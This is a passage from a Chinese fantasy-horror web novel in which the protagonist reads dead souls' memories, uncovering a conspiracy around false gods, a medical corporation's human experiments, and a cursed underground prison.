一年后，也就是颜辞云等不及想要跳时间线的那一年，几乎在颜辞云前脚离开，众神后脚就回归了，并将南陆贬为罪人。 因为南陆入狱时，档案上写的他是二十九岁。 同年，众神向托肖文明提出了【再造太阳】计划。 之后，南陆在月阴室里不知道待了几年，可能是三四年就逃脱了，可能是五六年，总之，在南陆三十六岁的这一年，他向诸神宣战。 如今颜辞云降临的时间点，则是南陆向诸神宣战的两年后，也就是说南陆今年是三十八岁。 在看到第二个幸运儿的记忆之前，颜辞云其实一直有一个理所当然的想法，那就是认为神学研究院地下的【再造文明】计划，是在众神降临后才立项的，是与【再造太阳】计划一同出现的一明一暗的方案。 而负十层到负十二层的精神病院，以及负九层到负七层的研究所，它们都是各自独立的，只是恰好都与神学相关，所以才都建在了神学研究院的地下而已。 可如果说，【再造文明】这个项目的持续时间，远远超过【再造太阳】这个计划的出现时间呢？ 如果说，整个神学研究院的地下设施，都是为了【再造文明】这个计划而建的，甚至连【再造太阳】这个计划都只不过是【再造文明】计划的一部分呢？ 如果说，所谓的众神归来，从一开始就是一个彻头彻尾的骗局呢？ 那么……这是否就能解释南陆向众神宣战的理由，以及他指责众神是伪神的原因？ 片刻前，当颜辞云还在神学研究院的地上扫荡资料时，颜辞云其实有在翻阅研究者怒斥南陆的言论时找到了这样的一张照片： 那一天，天色明亮，有一颗太阳和十七座神殿同时悬于天上，有着无尽的神圣威严。 可是，在南边，蓦地有第二颗夺目的太阳升上天空——是驾驶着日之车的南陆！ 他的太阳神剑插在脚边，手握太阳神矛，如同他当初审判地面的罪人那样，持矛向天上的“太阳”们掷去！ 咔嚓—— 一个幸运儿恰好在此刻举起相机，按下快门，留下了这一张关键的照片，也是最后一张能在天空上同时看到十九颗“太阳”的照片。 而在这之后，天上的“太阳”少了七颗。 颜辞云想了想，公正评价：“战斗力还挺强。” 但，抛开南陆的故事，有关【再造文明】和【再造太阳】的事，都只是颜辞云的猜测罢了。 因此，颜辞云很快又看向了第三个幸运儿的记忆。 而这一次，颜辞云实在是撞了大运，因为选中的灵魂的名字，叫做楚佩雯。 ——正是那位被神圣天平附身后判定为“情节特别严重”，压入神学院下负六层特殊监狱里的安睡室、天天注射药物永远不允许醒来的楚佩雯！ 当时，颜辞云翻看楚佩雯档案时，看见档案上描述十分含糊，只说“在案件中意外被附身”、“极大地干扰了正常社会秩序”什么的，更详细的描述那是一点也没有。 而直到颜辞云看见了楚佩雯的生平后，她才终于明白楚佩雯身上发生了什么。 楚佩雯的职业，是一名维序者，也就是这个世界的高级警员。 是的，恐怕谁都不会想到，这位被严格关押起来的犯人，前身竟然是一名警员。 而更不可思议的是，让楚佩雯被神圣天平附身的“案件的意外”，竟与颜辞云选中的第二位幸运儿有关： 楚佩雯，是在追查有关新世界生物科技的过程中出事的。 而这个“新世界生物科技”，正是第二个幸运儿记忆中那个挂羊头卖狗肉、将他送入死亡的医疗集团！ 在楚佩雯二十四岁这一年，作为高级警员的她以自己的敏锐触觉，发现了隐藏在平静城市表面下的暗涌——原来，在城市历年这么多失踪人口里，竟然有百分之三十左右的人罹患基因病！ 日灼病，月融病，火消病，舞蹈病，等等，包括万象，有些基因病甚至楚佩雯听都没听过，还需要上网查询才知道世界上原来还有这么一个病症。 可就是这样稀少的病人群体，却在这么多年里却一直在断断续续地失踪，其数量多年累积下来后已然成为了一个不可思议的数字！ 更可怕的是，这些还只是来报了案的数字。 而那些将基因病人视作累赘、对他们的失踪坐视不理不闻不问也没有上报过的家庭里，失踪的基因病人又有多少？ 楚佩雯简直不敢想象！ 楚佩雯的直觉告诉她，这一刻她很可能在不经意中触碰到了什么极不得了的秘密。 毕竟，世上不可能只有她一个聪明人，也不可能这么多年里只有她发现过这件事。 可这么多年过去了，这起本该悚然听闻的案件甚至压根没有出现在公众眼里，没有过任何风声。而这，不正是说明有什么比这个案件更可怕的黑手，将这一切都掩盖了下去吗？！ 所以，查，还是不查？ 是尊重自己的职业、遵守自己入职时发下的正义的誓言？ 还是如过去那些嘴巴紧闭的人一样，低下头颅，选择沉默？ 这一天，楚佩雯一夜未眠，辗转反侧。 三天后，楚佩雯决定： 查！ 她循着线索，一路追查，花了整整两年的时间，终于在一次机缘巧合中得到了“新世界生物科技”这个名字。 新世界生物科技公司是一个极庞大的医疗集团。虽然在明面上，它并不显山露水，好似只是一个普通的医疗集团，但楚佩雯发现，它暗地里与各路政要都交往密切，就连一些市长见到他们的医药代表时，都要主动露出和蔼笑脸。 只这一点，楚佩雯就明白，这所谓的“医疗集团”，绝对是一个远超她想象的龙潭虎穴！ 楚佩雯决定暂时停止自己的探查，并花上一段时间来好好研究一下自己接下来的行动方案。 毕竟这种拿命来查案的事，查案人最怕的不是死，而是怕自己死得毫无价值。 可是，让楚佩雯震惊的是，那新世界生物科技公司敏锐得可怕，竟发现了她对它们的查探，反查到了她的身上，并在她回家的当天晚上就主动出击！ 他们制造了一个案件，一场爆炸案！ 他们毫不留情地炸飞了一整条街，只为了让她看起来“死于意外”。 可是，让所有人都没想到的是，那条街上，竟然有人秘密藏着一样圣物，神圣天平。 所以，她死了，死于“意外”。 但是，她又活了，活于真正意外。 并且，因为这个意外，她成为了神圣天平的持有者！ 当神圣天平与她合为一体，又为她重塑肉身时，她睁开眼，看到了这个世界火光冲天，蔓延着无边罪恶。 无论是那看起来庄严肃穆的市政厅与警署，还是那代表着神圣威严的神学研究院，甚至是代表着科技、医疗、商务的高楼，竟都是罪恶。 官商勾结，沆瀣一气；金钱为蛛网，权力做阴影。 那充满了科技和未来感的高楼，是由人骨铸成的；那象征着廉洁和公正的地砖，是被黄金铺就的。 而这些——全都是罪恶！ 【我看到了未来……】 那是如此悲惨的未来。 世界在倾塌，空气在燃烧，浑身漆黑的神灵如同被斩断飞翼的恶魔，一个一个从天空坠落。 无数本该无辜的魂灵在火焰中燃烧着，哀嚎着，最后统统化作恶鬼的燃烧与食物，灰飞烟灭。 ——这就是罪恶！ 楚佩雯坚信。 ——而我，能够裁决这些罪恶！ 这样想着的楚佩雯，伸手指向了离她最近的罪人，也就是那个炸毁了一整条街的恶人。 只是轻轻一点，对方便化作肉沫四溅。 他终于也变得如同他手下的受害者一样。 但是，这远不是结局，也不该是结局。 所以楚佩雯一路向前，毫不停滞地向着这世上最浓郁的罪恶之地——新世界生物科技公司走去。 她发誓，哪怕所有人都不理解她、唾弃她、指责她，她也要以身为刀，撕开黑暗，割掉那个毁灭世界的脓疮！ 可是……这一切都葬送了在那根从天而降的太阳神矛之下。 作为“人”的力量，终究无法与“太阳神”比拟。 当楚佩雯被长矛钉在地上，在熊熊燃烧的火焰中不断死去又不断重生时，她抬头，看到了天上那个最无辜的罪人。 【虽有眼，但不可视，虽有口，但不可言……多么愚蠢啊！】 不知道为什么，这一刻，她竟然笑了。 【你会后悔的，太阳执行人。】 【将自己化作工具的你，一定会后悔的！】 天空上，在那个取代太阳点亮黑夜的日之车里，“太阳神”眼上蒙着布带，沉默无言。 第92章 人间地狱（四） 不要看太阳…… 就这样，在太阳执行人的绝对压制下，楚佩雯作为新生的神圣天平的持有者，被毫无反抗之力地压入牢狱，并在第一时间被判处死刑。 虽然楚佩雯唯一亲手杀害的人，是个罪大恶极的凶徒，而她又有着维序者的身份，按常理来说她最多被停职一年，事情就该过去了，原不可能走到死刑这一步。 可就如同楚佩雯档案上写的那样，拥有以罪恶裁决生死力量的她，是“情节特别严重，极大干扰了正常社会秩序”的罪人。 她必须要死！ 然而，神圣天平的持有者在被神圣天平抛弃之前是永远无法死亡的。 所以最后的楚佩雯得到的判决是，送入特殊监狱，每日埃托咖不得少于50毫升，永远不可醒来。 当看到楚佩雯被强制注射麻醉药物时，颜辞云还以为这就是楚佩雯最后的一段真实记忆了。 而在这之后发生的一切，应当都是永恒的黑暗，与楚佩雯光怪陆离的噩梦。 可出乎意料，事情并非如此。 或者说，在楚佩雯被迫沉睡的最初那段时间，出现在楚佩雯黑暗梦境里的，的确都是些奇怪的噩梦。 但随着时间流逝，或许是一个月后，或许是一年后，楚佩雯突然像是突破了某种界限—— 她的灵魂，竟然脱离了她的身体！ 她终于重获自由！ 在楚佩雯灵魂离体的这一刻，被囚禁不知多少岁月的她，第一次睁开了双眼，带着说不清的激动心情。 然而，当那片比她在城市里看到的更浓郁可怖的罪恶映入眼底后，她如同被当头浇了一盆冷水，呆立原地，片刻后，眼泪潸然而下。 这一刻，在看清自己身处何地的时候，楚佩雯终于明白，为什么在她被神圣天平附身的那一刻，她竟看到了世界的末日。 【我明白了……】 她终于明白了。 【原来……这里就是地狱啊……】 天空上，浑身漆黑的恶魔傲然站在象征着神圣的宫殿里，一边擦去自己嘴上食人血肉时留下的腥臭，一边恬不知耻地自称神灵。 而地面上，肥蠢蠹虫盘踞在象征着公平公正的殿堂中，一边将含冤之人的血肉灵魂都称斤论两卖了干干净净，一边还将“为民请命”的高冠戴在头上。 人们并非活在人间。 而是活在名为“人间”的地狱里。 【是啊，这里就是地狱，所以，楚佩雯，你想要逃出这个地狱吗？】 ——谁在说话？！ 这一瞬间，被吓住的人不仅是楚佩雯，甚至还有颜辞云。 颜辞云蓦地睁开眼，将思绪从楚佩雯的记忆中抽离。 她回想自己在楚佩雯记忆力看到的最后片段，若有所思：“……还能这样？” 片刻后，颜辞云打开死魂空间袋，从里头掏了掏，循着直觉找到了一个看似普通的光点，用指尖轻轻一触。 熟悉的名字传入脑海，颜辞云轻轻颔首。 ——没错，就是你了！ · 被颜辞云特意从空间袋里翻出来的灵魂，其生前的名字叫做全心。 是的，全心。 那个拥有能直视神力的真视之眼，却在十三岁时就被摘除了眼睛，关押在无音室里，被强行剥夺了视力、自由、社交以及所有未来的女孩，全心。 当然，在颜辞云到来的这个时间点，她或许不能再称之为少女了，因为从她死去的骨骼可以看出，她死时的岁数是三十多快四十岁。 而这也代表着，全心人生中本该最精彩的二十年，全都被迫空耗在了这所无意义的监狱里。 这让颜辞云这样崇尚自由的人光是想想都为她感到悲哀。 不过，在全心本人的记忆里，她倒并没有他人想的那样悲伤哀怨，也没有对自己明明无辜却落得这样悲惨下场的怨天尤人，反而充斥着出乎意料的平静祥和。 这还要从全心的奇特人生说起。 托肖文明严格执行的“基因优化”政策，和他们千奇百怪的基因排列组合，的确在他们的历史上搞出了许许多多、奇奇怪怪的基因病病人。 但与此同时，这个文明也出现了许许多多有着常人难以理解的奇特天赋和奇特能力的人。 比如说天生就拥有真视之眼的全心。 从第一次睁开眼开始，全心眼前的世界就与常人大不相同。 那游荡在空中，如同绸缎一样美丽，却又时浓时淡的青色是什么？ 没人告诉她答案。 直到长大后全心才知道，那是风走过的轨迹。 而那散落在空气中的细小光点，白天如月华一样沉静晚上却和火焰一样活跃的东西又是什么？ 旁人只以为她生出了幻觉。 直到在无音室里待了一年又一年后，全心才知道那叫月亮神力。 还有天空上那轮巨大的、散发着七彩光芒的、分明温度炽烈却又含着冰冷森寒的怨恨的巨轮是什么？ 每个人都告诉她，那是太阳。 然而十三岁那一年，当全心那双真实之眼的视力达到顶峰时，她抬头，看到了巨轮的真相—— 一具巨大得不可思议的尸体！ 一具被砍掉头颅、斩断四肢，揉碎了全身所有的骨骼血肉，并以太阳之火点燃，一年年挂在天上永恒燃烧着的巨大尸体！ 全心从未有哪个时候像这一刻这样悚然和恐惧。 她感到自己的心脏乃至全身的血液都在此刻冷却。 之后，在无边无际、难以挣脱的恐惧中，全心听到了来自那具尸体的诅咒： 【我诅咒你们！】 【我诅咒我的造物，那所有背弃了我的，终将被自己的造物背弃；我诅咒天空与大地，那所有向它们贪婪汲取的，终将被贪婪反噬；我诅咒我自己的血肉，那所有依托我而生的，终将如我一样被自己的血肉吞食殆尽！】 【我诅咒世界走入终末，太阳的火焰将如同焚烧我一样焚烧大地！】 【我诅咒冥府升上人间，死亡的恐惧将如同追逐我一样追逐你们！】 【我诅咒你们！】 【我将永恒诅咒你们！】 这一刻，全心在无边的恐惧和诅咒之音中，蓦然明白了天上的那颗在无数年前就高悬天空，被太阳火焰熊熊焚烧了无穷年月，以致于后面的所有文明都理所当然地认为那就是“太阳”的巨人究竟是谁。 ——是胡拉坎。 是世界与万事万物的造物主，众神之神，胡拉坎！ 那么…… 那些背弃祂的、将祂的头颅砍掉四肢斩断、悬挂在天上成为“太阳”的，又是谁？ 是太阳神。 以及……所有被胡拉坎亲手创造的神族！ 所以，根本就不是众神在创造了文明后就隐于幕后，任由祂们创造的文明毁灭。 而是神灵被祂们的造物主诅咒，从天空陨落，血肉落地后才化作了一代又一代的文明！ 所以，也不是众神不满意自己的造物，不满意造物创造的文明，认为它们没有价值，出手将它们从大地上抹去。 而是这些造物的造物们同样遭受了至高神的诅咒，对造物主遗留的血肉生出了取代的贪婪之心，并因此份贪婪而遭受反噬，文明毁灭！ 那么，托肖文明的出现，代表着什么？ 代表着太阳神托肖已死。 所以，托肖文明的鼎盛又代表着什么？ 代表着托肖人也如同过去那些被毁灭的文明一样，从大地上找到了他们造物主的尸体，在生出取而代之的贪婪之心的同时，开启了文明昌盛和文明毁灭的大门。 “太阳已经死了……” 这一刻，全心不知不觉中泪流满面，在众目睽睽之下说出了那句令她被终身囚禁的预言。 “神罚早已经降临……托肖文明的结局，只有毁灭而已。” “如果有人想要逃脱，只有一个选择。” “……不要看太阳。” 不要抬头，不要去看天上的那一轮“太阳”。 不要伸手，不要被陨落的太阳吞噬。 那些从天空陨落的神之血肉，所铺就的绝非通天捷径，而是充满了贪婪、疯狂和恶欲的末路。 第93章 关键之人 她或许真的应该做…… 全心其实已经不太记得在看到“太阳”的真相的那一天，自己身上究竟发生了些什么，又到底都说了些什么了。 她只记得自己被无边的悲伤、恐惧、怨恨包围，又像是在永无尽头的路上狂奔。 记忆的碎片像是万花筒，在她脑中翻滚，折射着一道道绚丽的光团。 而直到那双真视之眼被摘除后，她才终于找回了那个平静的自己。 所以，没错。 或许对很多人来说，她全心一生中最大的悲剧是怀璧其罪、是明明拥有不可思议的天赋却只被当作孕育神器的容器，最后本属于她的神器被人取走，而她这个“容器”则被人弃如敝履……对常人来说，这绝对是难以接受的事。 可事实上，在全心看来，那双眼睛并不重要，而她其实也没有那么在意自己被政府以正义之名幽禁终身的事。 关于前者，或许是因为全心清楚知道，自己的那双眼睛在这个被诅咒的世界里是祸非福，知道那些觊觎这双眼睛的人，都将在他们把眼睛的能力发挥到最大的时候直面胡拉坎的诅咒，陷入永恒的疯狂。 而关于后者，则是因为全心知道，自己并非孤独一人。 是的，非常有趣的是，在政府摘除了她的真视之眼，又将她关在无音室里，禁止任何人与她交流后，她竟然又觉醒了第二种能力！ 她开始能够听到一些常人听不到的声音，她也遇见了一些自己在正常情况下绝对遇不上的人、看不到的故事。 所以，哪怕在旁人眼里，她这个十三岁就被迫失明入狱、失去未来的女孩，实在凄惨，但事实上，她其实过得不错。 甚至就连特殊监狱要求的“不允许交流”的规定，都反而帮助了她，让她能够安安心心地坐在自己的小窝，倾听自己在监狱里交到的好朋友们的故事。 或许这些朋友们都憋得太久了，所以几乎就在全心能听到他们的声音后没多久，他们就迫不急地来向全心倾诉了。 第一个向全心倾诉的，是一个憋了许多许多年的城市调停者。 城市调停者是对城市了解最深的人。他们天生就对空间极度敏锐，知道哪里能够进行开发建造，需要修补维护。而一些在超数绘图上格外优秀的人，甚至会觉醒空间方面的能力，直接用空间置换的方式，将城市的建筑进行转移。 所以能成为城市调停者的，都是十分了不起的人。 全心拿出自己最大的耐心，一遍遍听这名城市调停者的絮絮叨叨，从他的口中了解了什么是超数绘图，明白了如何进行空间置换，甚至了解了自己身处的地下监狱的缺口所在！ 没错，这个地下监狱虽然打乱了空间常数，让它从外界的城市调停者眼里消失，也严格禁止了空间能力者的进出，但它其实是有缺口的。 并且这个缺口，正是这名城市调停者刻意留出的，因为在建造这个地下建筑的时候，他就嗅到了死亡的气息，所以他刻意为自己留了一条路。 只可惜，这条路还没来得及用上，他就死去了。 听到这里，全心终于对自己的学习机生出了两分好奇。 “你是怎么死的？” 城市调停者沉默许久，第一次对全心提起了自己的死因。 【你知道古人建造墓穴的时候，为了不让自己墓穴的防盗设计被盗墓贼得到，都是怎么做的吗？】 城市调停者说的时候，已经没有了死亡之初时剐心刻骨的痛恨，只有平平淡淡的“算了”。 【他们将所有参与墓穴设计的工匠全部坑杀。】 【我就是这么死的。】 全心先是点头，然后摇头：“是的，但不止如此。你藏了一个秘密，这个秘密才是你死亡的真正原因。” 这一刻，这位一直表现得无话不说、毫无心机的城市调停者，似乎向她投来了一道意外目光。 但他没有回答。 第二个向全心倾诉的，是一个神学研究者。 她是非常非常久远之前的人了，因为她的名字，甚至连全心都听过：明淑华，神学界的泰山北斗，奠定了近代神学基础的人，更是这座神学院的创始人！ 她死于一百二十多年前，死因据说是为了探查众神在大地上遗留的痕迹、拼凑出过往文明的毁灭真相而执意离开城市，游历天下，最后意外死于山崩的人。 所以，哪怕如今的全心对所谓的“神学”再没有了兴趣，但在面对这样德高望重的前辈时，她还是耐心聆听。 当然，这也跟明淑华谈吐幽默风趣、懂得很多知识和很多故事有关吧。 她们花了很多很多的时间，说了许久许久的话，谈论了那么多的故事和道理。 而最后，全心终于按捺不住，问出了那个让她疑惑已久的问题： “明姨，我听说你当年是死于意外的山崩，尸体是在很远很远的一座废墟里发现的……既然如此，你为什么没有去冥府，反而还留在人间，甚至徘徊在这座监狱里呢？” 明淑华沉默了一会儿。 【我给你讲个故事吧。】 明姨的故事总是很好听，很有趣，寓教于乐，所以全心对这个故事抱着十二分的期待。 可出乎意料的是，明姨这一次的故事干巴巴的，不但不有趣，还十分压抑。 明姨说—— 【很久很久以前，有过一个谋士。他出身低微，却生得聪明，无论学什么做什么都是一遍就会，所以他自持才华，生出了无穷的野心和抱负，想要打破身份的界限，站在高处，成为那个名利双收的人。】 【而恰好，他最年轻气盛的时候，他所在的城市遇到了一个危机——一场可怕的疫病在城市里蔓延，而唯一能治疗这场疫病的，是一味需要人血浇灌才能长成的药。换而言之，想要治好某些人，就一定要杀死某些人。】 全心天真提出建议：“不能每个人都只浇灌一点点血吗？就像是献血一样。这样一来，又有了药，又不会有人死去，难道不好吗？” 这一刻，全心听到了明姨近乎自嘲的笑声。 【你是一个好孩子，全心，所以你才会提出一个尽善尽美、希望大家谁都不要失去的提议。可是，在这个世界上，对有些人来说，别人的“没有损失”，就是他们的“最大损失”，你明白吗？】 全心茫然摇头。 【不知道也好。】 明姨并没有详细解释，而是继续说了下去。 【为了快速获取这一味药材，那个谋士提出了一个可怕的建议：将一小部分对社会无用的人聚集起来、控制起来，然后……让这些无价值的人，为更有价值的人……做出他们一生中的最大贡献。】 【这个提议被采纳了。】 【于是，这场疫病的最后，损失被控制在了极小的范围里。有人付出了生命，有人收获了健康，有人得到了梦寐以求的名利，甚至还有一些染上疫病的人在痊愈后获得了不可思议的力量！】 【所以很快的，谋士得到了一个命令：去寻找更多诱发疫病的方式。】 【谋士几乎瞬间就想明白了那些人究竟想要做什么。他终于明白，自己的提议推开了一扇怎样可怕的大门，而站在这扇门后大笑着的人，也不是他以为的功成名就的他自己，而是一群真正的魔鬼！】 【可他没有拒绝。那时候的他想着：我没有拒绝的理由，因为，哪怕我不去做，也总会有人去做的，不会有任何人因我的拒绝而获救，甚至如果我推拒了这件事的话，就连我自己都会因此而亡……所以我没有办法……我不是故意为恶，我只是没有办法……】 “那，后来呢？” 【后来……后来啊，是一个非常俗套的故事。那个谋士成亲生子了，生下了一个没有“价值”的儿子，而这个儿子，则在他为了那群恶鬼寻找疫病、散播疫病的时候，被人抓走，贡献出了他仅有的“价值”。】 【直到这一刻，那个谋士终于在死去爱子的痛悔中幡然醒悟，明白自己到底做了些什么……但这时候的他想要逃脱也逃不掉了，所以，后来，在他想要逃跑的时候，他被人以意外谋杀在城外，并和他死去的儿子一样，贡献出了他最后的“价值”……】 【仅此而已。】 到了最后，明姨也没有回答她是如何死、又是如何来到这里的。 可全心在懵懂中，觉得自己似乎明白了什么。 “明姨。” 全心说。 “你和那位城市调停者隐藏的，是同一个秘密吗？” 明淑华同样没有回答。 就这样，全心在监狱里交到了一个又一个朋友，从这些朋友身上学习一些常人一辈子都接触不到的知识，在这些朋友记忆里一段又一段最激烈的爱恨故事里徜徉。 她对自己当前的生活其实并没有任何不满。她有的吃有的穿，有这样多的朋友和这么多的故事。 她几乎忘了监狱以外的世界，忘了天上的那一轮“太阳”，也忘了那令她几乎令年幼的她崩溃的预言和诅咒。 直到她遇到了两个狱友。 第一个狱友，名为楚佩雯。她曾经是维序者，有着一颗连神圣天平都承认的最正义的心，如今却以罪人之名被困在永恒的梦境里。 第二个狱友，名为南陆。他曾经是太阳执行人，为了托肖文明的正义而杀死了千余人，被称作“最接近太阳的人”，如今则以渎神之名被囚于永夜。 “为什么？” 全心向自己的好朋友们发问。 而她耳目灵通的好朋友们则告诉她，带着说不出的嘲讽：“因为‘神’回来了。” 这一刻，全心怔在原地，那些如同噩梦一样的记忆如潮水涌回。 她想，或许自己真的是天生的罪人。 否则她怎么会在得知了这样多秘闻、懂得了这样多知识后，竟然还耽于安逸和享乐，在这小小的牢狱里一年又一年地过下去，随波逐流，放任众神的归来？ 她想，她或许真的应该做点什么了。 第94章 秘闻（一） 黑水 全心知道这世上很多很多的秘密，哪怕是明姨和那位城市调停者共同隐瞒的秘密，全心也大致猜到了。 因为在这个充满了灵魂与死者的地域，并不是每个死人都如同他们一样守口如瓶。 也因为世上的事只要做过就必然会留下痕迹。 所以，全心没多久就从第一批死在这个地下建筑的人的口中，得知了那个让城市调停者闭口不言的秘密——这个监狱的来历。 全心被关押的这所特殊监狱，最开始并非是用来当作监狱的，甚至就连地面上的建筑也并不是神学院。 最初的时候，这里只是一个无人问津的普通地块，没有草木也没有生命的荒郊野外。 直到某一天，新世界生物科技的老板突然将这块地买下，执意要将它挖深挖开。 那时候，新世界生物科技还只是一个濒临倒闭的小小药厂，为了拿下这块地，他拿出了自己的所有钱财，几乎是孤注一掷。 没人知道新世界生物科技的老板为什么要做下这种决定。 但一切的奇特诡谲、不可思议之事，似乎都是从这个地方开始的。 而这里发生得第一件奇特之事，就在这块地域施工后的第三个小时。 三个小时，仅仅三小时的施工，这里就发生了一起重大事故——足有三十二人，在这个施工区域意外暴毙！ 可奇怪的是，外界并没有与此相关的任何新闻。 因为所有试图发布这个新闻的人，都接到了某个特殊办公室发出来的指令，撤销了所有与这块施工地相关的报导。 之后，三天时间过去了。 这三天内，施工地块的上空灯火彻夜通明，无数身份特殊的人来来往往。 许多新闻的业内人士为此感到震动，都在秘密看着这个方向，按捺着，等待着。 终于，有一个胆大包天的记者忍不住自己心中的好奇与质疑，不明白一场死亡了三十二人的严重施工事故为何迟迟不能报导，也不明白那块施工地到底藏了什么，才会令神学研究院的教授甚至政府高官都在此地流连忘返。 她认为，这里头必然有一个天大的秘密。 于是她拿着相机，秘密潜入工地，想要探明这一切的真相。 可万万没想到的是，她竟然在潜入的瞬间就被人发现抓住，扭送到了某位大名鼎鼎、以乐善好施著称的议员面前。 当时，那位议员正在和神学院的某位教授讨论着什么，见保镖抓住了她这个“小老鼠”后连一眼都懒得施舍给她，只随手指了指不远处的某个大坑，当作对保镖“怎么处理她”这个问题的回应。 而不可思议的是，那个坑分明只有不到三米，最底层还铺着一层浅浅水渍，可她却在被抛入浅坑的瞬间就死去了。 她终于明白了那些在这场重大事故中丧生之人的死因——在她死亡的那一瞬间。 可是，无论是三十二个施工者的死亡，还是一个记者的窥探，都无法阻挡这块土地的开发。 很快的，又是两天过去了。 在重大事故的第五天，工地恢复施工。 而这一次，负责挖掘的将不再是最低等的劳工，而是数名能力强大的城市调停者。 ——全心认识的那一位城市调停者，也正在其中。 对于城市调停者来说，在某一处挖个坑，建一个地下建筑，并不是多么困难的事。哪怕这个坑里有三十三具尸体，还有奇怪的黑水在源源不断地渗出来……但没关系，只要工资开得高，这些都不是问题！ 众城市调停者齐心协力，持续向下挖掘。 当挖到地下十米时，有个人突然提出了一个问题： “这个坑里原本有多少具尸体？” “三十三具，怎么了？” “真的……是三十三具吗？” 随着这个有些发颤的声音响起，顶着黑水和尸体往下挖掘的城市调停者们茫然抬头，伸出手，一具一具地清点那些在黑水中沉浮的尸体。 “一，二，三，四……二十，二十一……三十二，三十三……四十五，四十六……一百零一，一百零二——” “够了！够了！不要再数了！不要再数了！！这是噩梦，这一定是噩梦——快让我醒来！！” 在恢复施工的第三个小时，有一名城市调停者突然发了疯。 但一项如此受到上头看重的工程，当然不会因为这样的小问题停下。 最多……暂停了两个小时而已。 在城市调停者们的强烈要求下，工地负责人不得不给了他们两小时的休息时间。 之后，他将这件怪事向上头汇报，得到了一句不耐烦的“你们不会自己把尸体清理掉”的回复，便打了个电话，让专业的捞尸人带工具过来捞尸体了。 可一小时后，当捞尸人来到坑前时，他们也懵了。 “尸体呢？”捞尸人问。 工地负责人一指：“不就在那里吗？对了，捞尸的时候注意一点，不要碰到那黑色的水……” “等等、等等、等等！”捞尸人连说了三个等等，脸上满是惊愕，“你该不会是在耍我们吧？那个坑里哪里有什么尸体？哪里有什么黑水？” 工地负责人急了，回身指着深坑里的黑水，还有黑水上密密麻麻漂浮的尸体，说：“不就是在那里吗？那么多尸体，还有那些奇怪的黑水，你们难道看不到吗？！” “什么看不看得到的，没有就是没有，你再怎么说也是没有！”捞尸人坚持，“那边就是个空的大坑，没有尸体，更没有什么黑色的水！那是个空的！你明白吗？！” “怎么会是空的呢？”工地负责人越发急了，拽着捞尸人，把他拉到坑前，“你看，你看尸体——那么多，明明都在那里啊！” 捞尸人被工地负责人吓得汗毛直竖，用力甩开了工地负责人的手：“晦气，竟然遇到了个疯子……都走都走，快，兄弟们都跟我回去，别呆在这晦气地方！” “等等，等等，别走啊，我没开玩笑，那里真的有尸体！” 工地负责人苦苦挽留不成，只能看着那些捞尸人坐上车，逃也似的离开了。 他万分不解，来到坑前，一遍遍徘徊，一遍遍自语。 “不对啊，不可能啊……怎么会这样呢……这里明明有尸体的啊……” 两小时的休憩时间过后，受雇的城市调停者们从休息间出来，准备继续开工，但他们一眼就看到了坑里的黑水与尸体。 他们眉头紧皱，不明白两小时前还拍着胸脯说一定会把尸体清理干净的工地负责人，怎么光说大话不干事，整整两个小时竟一点改变都没有。 他们心中生恼，拿出手机，果断给工地负责人打电话。 可最后，那铃声却从坑中一具漂浮着的尸体身上传来。 他们面色惨白，面面相觑。 至此，工程不得不再次停下。 这不仅是因为这些城市调停者们难以在这样可怖的环境下继续工作，更是因为城市里爆发了一场可怕的疾病。 那些曾经高高在上的大人物们——特别是在施工地附近打过转的大人物们，统统患上了一场发病极快、致死率极高的疫病！ 这场病是怎么来的？ 难道是因为这个天坑、这些黑水、这些尸体？ 他们这些过来施工的城市调停者们，是否也会生病？也会因此死亡？ 惶恐不安的情绪，在这些调停者们发现了城市里的疫病，以及在疫病中暴毙的死者们的身份后，达到了最高峰。 他们不约而同地停止了施工，惶惶不安地回到自己的住所，把自己关了起来，或是直接驾车逃离了这座城市。 他们或许在等待命运，又或许只能等待死亡。 但还好，这场来势汹汹的疫病很快得到了遏制。 因为新世界生物科技在这个时候力挽狂澜，飞快研发出了一种可以治愈疫病的特效药。 当与新世界生物科技合作研发特效药的神学院，派出他们最年轻的学者明淑华为这份特效药站台，用她充满信心和力量的声音安抚城市中的人们时，哪怕是那些偷偷驾车逃出了城市的调停者们也回来了。 他们或许不相信新世界生物科技，但他们相信神学研究院，相信明淑华这位年纪不到二十就成为了教授的年轻学者，相信以神学研究院和明淑华的信誉，必然不会在这样重要的事情上哄骗民众。 而果然，就如同明淑华在采访中在演讲中说的那样，特效药很快出现了，疫病很快结束。 所有人都陆续恢复了以往的生活和工作。 不过，也不知道是不是错觉，这座城市似乎空了许多……但这不重要。 是的，这不重要。 重要的是，这些城市调停者们的工作又开始了，并且当他们回到施工地时，他们惊讶发现，那些黑水也好尸体也好，竟然都不见了。 他们面面相觑，既为此感到惊讶，又为此感到心安。 毕竟，哪怕拿着超额的高工资，也不是什么人都能忍受在黑漆漆的乱葬岗持续施工的。 他们松了口气，站在天坑外，继续向下挖。 可是，在他们挖到第二十米时，那些黑水甚至是那些尸体，竟然又出现了！ 天知道，当看到那熟悉的黑色和熟悉的尸体重新从虚无中浮出后，他们到底有多么惊骇欲绝！ 他们心神动摇，骇然中几乎再也想不起什么“高工资”“高福利”的事，只想要放弃这个工程，远远离开这个鬼地方。 但就在这样的时刻，神学研究院的人来了。 是明淑华。 “我保证，这些东西绝不会伤害你们。” 当时，正值黄昏。 这位在报纸和电视上都人气颇高的年轻学者，站在阴影中轻声说着，让人看不清她的面色，只能看到一双冷静得近乎冷酷得眼睛。 “继续工作吧。” 她说。 “你们看到的东西，很快就会消失。” 第95章 秘闻（二） 神尸 就如同这位学者明淑华说的那样，那些黑水，那些尸体，那些令人无法理解毛骨悚然的一切，真的很快就消失了。 虽然每过一段时间，它们又会再度出现。 虽然它们每一次的出现，都伴随着城市里徒然增加的咳嗽声、疾病声、广播声。 虽然…… 但它们的确每一次都会飞快消失。 所以，众多被高薪雇佣而来的城市调停者们，也硬着头皮忽略了那些时不时出现又时不时消失的黑水，向下挖了整整六百米，打造了一个巨型深坑！ 到了这里，工程的第一阶段，暂时告一段落。 而工程的第二阶段，是往坑底铺楼层建筑，直到叠出一栋足有十三层的地底建筑，才算结束。 这件事依然不难。 因为地底的建筑层，都是工地主人在各地工厂早早定制好了的。 作为城市调停者，他们只需要使用空间置换的能力，把建筑转移过来、对准、堆叠，叠得严丝合缝，就算完工。 但那些楼层建筑暂时还在运输，还要三天到五天时间才能抵达，因此，这些城市调停者们得到了一周的假期。 带高额奖金和日薪的那种。 